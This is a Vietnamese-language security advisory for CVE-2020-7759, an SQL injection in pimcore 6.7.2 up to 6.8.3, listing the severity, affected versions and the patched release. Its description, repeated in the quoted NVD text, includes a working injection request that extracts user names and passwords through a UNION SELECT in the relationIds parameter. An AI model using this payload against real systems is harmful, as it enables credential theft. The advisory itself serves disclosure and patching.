SQL Injection in pimcore

CAO 7.2CVE-2020-7759 · GHSA-8jmh-c6vr-pmvm · SNYK-PHP-PIMCOREPIMCORE-1017405 · Công bố 30/10/2020 · cập nhật 17/06/2026

Tóm tắt nhanh

CVE-2020-7759 là lỗ hổng mức CAO (CVSS 7.2) ảnh hưởng pimcore/pimcore, pimcore (pimcore).
Xác suất bị khai thác trong 30 ngày tới (EPSS): 1.4%, cao hơn 71.7% các lỗ hổng khác.
Cách xử lý: cập nhật lên 6.8.3 hoặc mới hơn.

Gói / sản phẩm	Phiên bản bị ảnh hưởng	Phiên bản đã vá
pimcore/pimcore Packagist	`≥ 6.7.2, < 6.8.3`	`6.8.3`
pimcore pimcore	`≥ 6.7.2, < 6.8.3`	`6.8.3`

Mô tả

"The package pimcore/pimcore from 6.7.2 and before 6.8.3 are vulnerable to SQL Injection in data classification functionality in ClassificationstoreController. This can be exploited by sending a specifically-crafted input in the relationIds parameter as demonstrated by the following request: http://vulnerable.pimcore.example/admin/classificationstore/relations?relationIds=[{"keyId"%3a"''","groupId"%3a"'asd'))+or+1%3d1+union+(select+1,2,3,4,5,6,name,8,password,'',11,12,'',14+from+users)+--+"}]"

Mô tả của NVD

The package pimcore/pimcore from 6.7.2 and before 6.8.3 are vulnerable to SQL Injection in data classification functionality in ClassificationstoreController. This can be exploited by sending a specifically-crafted input in the relationIds parameter as demonstrated by the following request: http://vulnerable.pimcore.example/admin/classificationstore/relations?relationIds=[{"keyId"%3a"''","groupId"%3a"'asd'))+or+1%3d1+union+(select+1,2,3,4,5,6,name,8,password,'',11,12,'',14+from+users)+--+"}]